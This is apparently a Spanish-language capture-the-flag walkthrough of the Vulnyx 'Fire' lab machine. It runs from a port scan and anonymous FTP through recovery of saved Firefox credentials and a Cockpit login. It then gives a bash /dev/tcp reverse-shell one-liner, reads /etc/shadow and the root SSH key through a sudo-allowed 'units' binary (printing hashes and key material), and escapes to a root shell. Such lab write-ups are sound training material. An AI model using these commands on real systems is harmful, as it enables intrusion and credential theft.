Fire Vulnyx (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-03 09:30 EDT
Nmap scan report for 192.168.5.94
Host is up (0.0028s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     pyftpdlib 1.5.7
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root      4442576 Sep 29  2023 backup.zip
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 192.168.5.94:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
9090/tcp open  http    Cockpit web service 221 - 253
|_http-title: Did not follow redirect to https://192.168.5.94:9090/
MAC Address: 08:00:27:C3:49:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.91 seconds

Veremos que hay varios puertos abiertos, si entramos al puerto 80 veremos una pagina normal de apache2, pero nada interesante, por lo que vamos a meternos por el servicio FTP de forma anonima.

FTP

ftp anonymous@<IP>

Dejamos la contraseña vacia y veremos que estaremos dentro, si listamos veremos lo siguiente:

229 Entering extended passive mode (|||58685|).
150 File status okay. About to open data connection.
-rw-r--r--   1 root     root      4442576 Sep 29  2023 backup.zip
226 Transfer complete.

Veremos un archivo .zip bastante interesante, por lo que vamos a descargarnoslo y descomprimirlo.

get backup.zip

Una vez que nos lo descarguemos lo descomprimiremos, echo esto veremos lo siguiente:

unzip backup.zip

Info:

drwxr-xr-x  3 root root    4096 Sep 29  2023 mozilla

Vemos que nos descomprime una carpeta de mozilla, tiene pinta de que es un backup de alguna configuracion o informacion del navegador mozilla las cuales puede tener algo interesante dentro.

Podriamos copiarnos el archivo que puede ser interesante y configurar un profile para abrirlo con dicho usuario con dicha informacion:

cp -r pe1jatah.default-esr /<PATH_USER>/.mozilla/firefox/
nano /<PATH_USER>/.mozilla/firefox/profiles.ini

#Dentro del nano
[ProfileX]
Name=Backup2023
IsRelative=1
Path=pe1jatah.default-esr
Default=0

Lo guardamos y ahora ejecutamos el siguiente comando para que se nos habra la seleccion de perfiles:

chown kali:kali /<PATH_USER>/.mozilla/firefox/pe1jatah.default-esr
firefox -P

Info:

Le daremos a Start Firefox para que se nos habra la ventana con la informacion de dicho usuario en la ruta que configuramos para que cargue el backup.

Si nos vamos a about:logins veremos que nos muestra un usuario y contraseña:

User: marco
Pass: m@rc0!123

Ahora si nos metemos en la siguiente URL.

URL = https://<IP>:9090/

Veremos un login si metemos dichas credenciales, veremos que nos deja, veremos tambien de seguido que hay un apartado llamado Terminal si entramos veremos que tenemos literalmente la terminal del usuario marco, pero vamos a realizar un reverse shell mejor.

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Antes de enviarlo nos pondremos a la escucha de esta forma:

nc -lvnp <PORT>

Ahora si enviamos lo anterior y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.94] 56870
marco@fire:~$ whoami
whoami
marco

Vamos a sanitizar la shell (TTY).

Sanitización de shell (TTY)

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Una vez echo esto leeremos la flag del usuario.

user.txt

5400962bb9d361da14bc28ac666e3ad7

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for marco on fire:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marco may run the following commands on fire:
    (root) NOPASSWD: /usr/bin/units

Vemos que podemos ejecutar el binario units como el usuario root, por lo que vamos a investigar que hace.

Vemos que con el -f o --file podremos cargar un archivo, vamos a probar a leer el shadow a ver si funciona:

sudo /usr/bin/units -f /etc/shadow

Info:

units: unit 'root:$y$j9T$osl79yb5xA0i0zvTVWwzW/$wVaUnGg.GYsZNaKqzBkQyLN3NHiw.Cdp9gfPbLCmdd/:19629:0:99999:7:::' lacks a definition at line 1 of '/etc/shadow'
units: unit 'daemon:*:19372:0:99999:7:::' lacks a definition at line 2 of '/etc/shadow'
units: unit 'bin:*:19372:0:99999:7:::' lacks a definition at line 3 of '/etc/shadow'
units: unit 'sys:*:19372:0:99999:7:::' lacks a definition at line 4 of '/etc/shadow'
units: unit 'sync:*:19372:0:99999:7:::' lacks a definition at line 5 of '/etc/shadow'
units: unit 'games:*:19372:0:99999:7:::' lacks a definition at line 6 of '/etc/shadow'
units: unit 'man:*:19372:0:99999:7:::' lacks a definition at line 7 of '/etc/shadow'
units: unit 'lp:*:19372:0:99999:7:::' lacks a definition at line 8 of '/etc/shadow'
units: unit 'mail:*:19372:0:99999:7:::' lacks a definition at line 9 of '/etc/shadow'
units: unit 'news:*:19372:0:99999:7:::' lacks a definition at line 10 of '/etc/shadow'
units: unit 'uucp:*:19372:0:99999:7:::' lacks a definition at line 11 of '/etc/shadow'
units: unit 'proxy:*:19372:0:99999:7:::' lacks a definition at line 12 of '/etc/shadow'
units: unit 'www-data:*:19372:0:99999:7:::' lacks a definition at line 13 of '/etc/shadow'
units: unit 'backup:*:19372:0:99999:7:::' lacks a definition at line 14 of '/etc/shadow'
units: unit 'list:*:19372:0:99999:7:::' lacks a definition at line 15 of '/etc/shadow'
units: unit 'irc:*:19372:0:99999:7:::' lacks a definition at line 16 of '/etc/shadow'
units: unit 'gnats:*:19372:0:99999:7:::' lacks a definition at line 17 of '/etc/shadow'
units: unit 'nobody:*:19372:0:99999:7:::' lacks a definition at line 18 of '/etc/shadow'
units: unit '_apt:*:19372:0:99999:7:::' lacks a definition at line 19 of '/etc/shadow'
units: unit 'systemd-network:*:19372:0:99999:7:::' lacks a definition at line 20 of '/etc/shadow'
units: unit 'systemd-resolve:*:19372:0:99999:7:::' lacks a definition at line 21 of '/etc/shadow'
units: unit 'messagebus:*:19372:0:99999:7:::' lacks a definition at line 22 of '/etc/shadow'
units: unit 'systemd-timesync:*:19372:0:99999:7:::' lacks a definition at line 23 of '/etc/shadow'
units: unit 'sshd:*:19372:0:99999:7:::' lacks a definition at line 24 of '/etc/shadow'
units: unit 'systemd-coredump:!*:19372::::::' lacks a definition at line 25 of '/etc/shadow'
units: unit 'Debian-exim:!:19629:0:99999:7:::' lacks a definition at line 26 of '/etc/shadow'
units: unit 'dnsmasq:*:19629:0:99999:7:::' lacks a definition at line 27 of '/etc/shadow'
units: unit 'cockpit-ws:*:19629:0:99999:7:::' lacks a definition at line 28 of '/etc/shadow'
units: unit 'cockpit-wsinstance:*:19629:0:99999:7:::' lacks a definition at line 29 of '/etc/shadow'
units: unit 'marco:$y$j9T$BulK6se4R2EuZXvjmB/ji1$ma4QEyveuDGsDiS5tG45V88jDFh1/tQUbX6X.Xnh5K1:19629:0:99999:7:::' lacks a definition at line 30 of '/etc/shadow'
0 units, 0 prefixes, 0 nonlinear units

You have: ^C

Vemos que si funciona, por lo que vamos a probar a leer la id_rsa del usuario root a ver si tiene.

sudo /usr/bin/units -f /root/.ssh/id_rsa

Info:

units: unit '-----BEGIN' in units file '/root/.ssh/id_rsa' on line 1 ignored.  It contains invalid character '-'
units: unit 'MIIEowIBAAKCAQEA4zyTaEdG9ndkXzil42utXutJCywNF5siqTqPYP8e2OfNCA26' lacks a definition at line 2 of '/root/.ssh/id_rsa'
units: unit 'hLDrlYAhzXDi/zQA+2IteiKtzJBAX3F9ZLqZRkkFswpjW7OeP3uq/OkAppLRrWff' lacks a definition at line 3 of '/root/.ssh/id_rsa'
units: unit '25TX5BZAFw7le1gzCNnA5U7SPQWZMkCdC+JAxrx3pkX0MLI5hn5UTNuZkl4XCozV' lacks a definition at line 4 of '/root/.ssh/id_rsa'
units: unit 'IUmrErfyWhydNlAIGJhfMiJ8EC6+BY+/oW9XN2YoVR8a0sLz0gWHAAKRQkQMqjPn' lacks a definition at line 5 of '/root/.ssh/id_rsa'
units: unit 'A6cnfeXO6KprGq2O0ev81FhBeVqkrrrvSHvNSXrvqNL/N8fPZVD452ene3CVvQIm' lacks a definition at line 6 of '/root/.ssh/id_rsa'
units: unit 'ohjNikvqqnLhCM4Hl/CtQL8w1rl+Uih19mfiuQIDAQABAoIBAQCLiqZm0eZ08cpU' lacks a definition at line 7 of '/root/.ssh/id_rsa'
units: unit 'YyATsQrtEAVx8+IyTdUSIODtSp1xy57vxCZ214JD80ROuXTcDN5RgO+2YddimG6/' lacks a definition at line 8 of '/root/.ssh/id_rsa'
units: unit 'bZz4H1KCg9MZKFbteDbEezf8SUVaBSz3lKM2X4fYDAXdYwtvHDFyzO2Uozudt3Nl' lacks a definition at line 9 of '/root/.ssh/id_rsa'
units: unit 'FaKbKpxmrlO3apvSz49d1PQFopEC/NY/jVl3o3tReriYC+DIgYaY/i8kZTHL8eY8' lacks a definition at line 10 of '/root/.ssh/id_rsa'
units: unit 'x8OMDIFag7CnPMDVGsmyTwvVwao1GNR6KZxI+j9caOtaurzxd9vnEzYim2e1dLDA' lacks a definition at line 11 of '/root/.ssh/id_rsa'
units: unit 'K2EfYUssTu+9QiSVOk1TUaiGiZU11he4H3lMzDjEq4epRGwwyQUdE3B/cBpSDClH' lacks a definition at line 12 of '/root/.ssh/id_rsa'
units: unit 'HX4Ph7KBAoGBAPj7v+IsC0XTGWTXjKclDn/Ah6COXRAWMJRkiQCK8hi8FtAqxgwQ' lacks a definition at line 13 of '/root/.ssh/id_rsa'
units: unit '08eNxg57Dn7284DahjOMJYXtuY9P+jOoYg26ICazkwg+BnsZvfEjJxvFMXnYnDyw' lacks a definition at line 14 of '/root/.ssh/id_rsa'
units: unit 'Z1w0MOPR5S9p/9gTLinHEIt+rGS4rOZXd9llVq187i+FyiB/L9nWTDxRAoGBAOmj' lacks a definition at line 15 of '/root/.ssh/id_rsa'
units: unit '8AyUkAiJYBY/lX8TS8EORBpUljpfTPfmg6s19pwxP4K9hUkW1MNduBth3Nw6FRRZ' lacks a definition at line 16 of '/root/.ssh/id_rsa'
units: unit '2jm4Gw6k+l9+MAsyoOldD5SFezX7bfll4+pqWG/CRKnnE4Ot7OXvSeab6U2cpLhB' lacks a definition at line 17 of '/root/.ssh/id_rsa'
units: unit 'UKLM9vVvCbS3608twDg42DZ22bPEjNnc02puzu3pAoGAFC1apHqLQ1JTKX/qTxVK' lacks a definition at line 18 of '/root/.ssh/id_rsa'
units: unit 'soGovBMtaYNS1oO7MocQDX8YnjAJMqsebnqHxV6lkxZyL0wGOiEuXUchlYKWtR79' lacks a definition at line 19 of '/root/.ssh/id_rsa'
units: unit 'Kz2dI2XEEZPtNIamhOcjYTW+x7ANIUHubmNwXtYAq7H8YMdVI1+VcKiIUfVBVb1a' lacks a definition at line 20 of '/root/.ssh/id_rsa'
units: unit '4gw7VP3d044VDkMgXpfmP7ECgYB4r7sm9HK2RigBNhUGEDSYY8MgCsOTIXlDsKog' lacks a definition at line 21 of '/root/.ssh/id_rsa'
units: unit '/X4GzpWs9jLsP0PmKvoYAuQwSjxrR8KnAAfR97xxKWCt2Bgwk2ah5JVxnBABvPUP' lacks a definition at line 22 of '/root/.ssh/id_rsa'
units: unit 'OKG4ERSg4wE8itINMB7vZWgNNDYOC4cYoWGMBDByTnLZcpuRLyPYdmocJxJO03fN' lacks a definition at line 23 of '/root/.ssh/id_rsa'
units: unit 'ybFQSQKBgA9X6z0WlFOWUqx7OcIhbeVAiYisi+582Wt2G+aUVM71S49gk5lxh1Oe' lacks a definition at line 24 of '/root/.ssh/id_rsa'
units: unit '+IxWgWsAvedbz9YigaVeZ/X1seIRs97IhZszK6QYMYsdJ/bu6Qzrd/pibLT52nDD' lacks a definition at line 25 of '/root/.ssh/id_rsa'
units: unit '/7EWKpTCqpAyAmdNA/B0jMprzP/4njtuOfvGbjDrv0jQ8qyJCv0r' lacks a definition at line 26 of '/root/.ssh/id_rsa'
units: unit '-----END' in units file '/root/.ssh/id_rsa' on line 27 ignored.  It contains invalid character '-'
0 units, 0 prefixes, 0 nonlinear units

You have: ^C

Vemos que si tiene, pero es un rollo tener que limpiarlo, por lo que vamos a probar este otro metodo para escalar a root.

sudo /usr/bin/units -h

Ahora dentro de este apartado haremos !/bin/bash le damos a ENTER...

root@fire:/home/marco# whoami
root

Y veremos que con esto ya seremos root, por lo que leeremos la flag de root.

root.txt

5df134b18a5bf4240d6b29cf0ab968a8

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